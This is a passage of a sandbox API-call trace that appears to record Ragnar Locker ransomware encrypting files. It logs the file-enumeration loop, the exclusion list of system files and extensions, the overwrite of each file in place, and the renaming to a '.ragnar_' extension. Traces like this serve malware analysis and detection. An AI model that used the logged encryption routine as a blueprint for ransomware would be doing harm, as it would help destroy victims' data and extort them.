lpString2="ntuser.dat.log") returned -1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="ntuser.ini") returned -1 [0082.682] lstrcmpiW (lpString1="HM00114_.WMF", lpString2="thumbs.db") returned -1 [0082.682] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.682] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.682] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.682] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.683] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.683] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.683] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0082.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.684] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22116) returned 1 [0082.684] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x565b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.684] GetProcessHeap () returned 0x580000 [0082.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.684] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.685] VirtualAlloc (lpAddress=0x0, dwSize=0x5664, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.685] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.686] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5664, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5664, lpOverlapped=0x0) returned 1 [0082.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.687] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5664, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.687] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5664, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5664, lpOverlapped=0x0) returned 1 [0082.687] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5664, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.687] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.688] GetProcessHeap () returned 0x580000 [0082.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.688] CloseHandle (hObject=0xf4) returned 1 [0082.688] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" [0082.688] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.ragnar_FD7BD9FC" [0082.688] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0082.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.689] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HM00116_.WMF" | out: lpString1="HM00116_.WMF") returned="HM00116_.WMF" [0082.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned=".WMF" [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="autorun.inf") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="boot.ini") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="bootfont.bin") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="bootsect.bak") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="bootmgr") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="bootmgr.efi") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="desktop.ini") returned 1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="iconcache.db") returned -1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="ntldr") returned -1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="ntuser.dat") returned -1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="ntuser.ini") returned -1 [0082.689] lstrcmpiW (lpString1="HM00116_.WMF", lpString2="thumbs.db") returned -1 [0082.689] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.690] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.690] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.690] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.690] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x20 [0082.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.690] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15852) returned 1 [0082.690] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3de3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.690] GetProcessHeap () returned 0x580000 [0082.690] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.690] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.692] VirtualAlloc (lpAddress=0x0, dwSize=0x3dec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.692] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.692] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3dec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3dec, lpOverlapped=0x0) returned 1 [0082.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.693] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3dec, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.693] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3dec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3dec, lpOverlapped=0x0) returned 1 [0082.693] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3dec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.693] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3dec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.693] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.693] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.693] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.694] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.694] GetProcessHeap () returned 0x580000 [0082.694] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.694] CloseHandle (hObject=0xf4) returned 1 [0082.694] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" [0082.694] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.ragnar_FD7BD9FC" [0082.694] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.694] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0082.694] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.694] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HM00172_.WMF" | out: lpString1="HM00172_.WMF") returned="HM00172_.WMF" [0082.694] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned=".WMF" [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="autorun.inf") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="boot.ini") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="bootfont.bin") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="bootsect.bak") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="bootmgr") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="bootmgr.efi") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="desktop.ini") returned 1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="iconcache.db") returned -1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="ntldr") returned -1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="ntuser.dat") returned -1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="ntuser.ini") returned -1 [0082.695] lstrcmpiW (lpString1="HM00172_.WMF", lpString2="thumbs.db") returned -1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x20 [0082.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.696] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2832) returned 1 [0082.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.696] GetProcessHeap () returned 0x580000 [0082.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.696] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.697] VirtualAlloc (lpAddress=0x0, dwSize=0xb10, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.697] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb10, lpOverlapped=0x0) returned 1 [0082.697] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.697] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb10, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.697] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb10, lpOverlapped=0x0) returned 1 [0082.698] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.698] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.698] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.698] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.698] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.698] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.698] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.698] GetProcessHeap () returned 0x580000 [0082.698] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.698] CloseHandle (hObject=0xf4) returned 1 [0082.698] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" [0082.698] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.ragnar_FD7BD9FC" [0082.698] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.699] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0082.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.699] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HM00426_.WMF" | out: lpString1="HM00426_.WMF") returned="HM00426_.WMF" [0082.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF") returned=".WMF" [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="autorun.inf") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="boot.ini") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="bootfont.bin") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="bootsect.bak") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="bootmgr") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="bootmgr.efi") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="desktop.ini") returned 1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="iconcache.db") returned -1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="ntldr") returned -1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="ntuser.dat") returned -1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="ntuser.ini") returned -1 [0082.699] lstrcmpiW (lpString1="HM00426_.WMF", lpString2="thumbs.db") returned -1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.700] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft 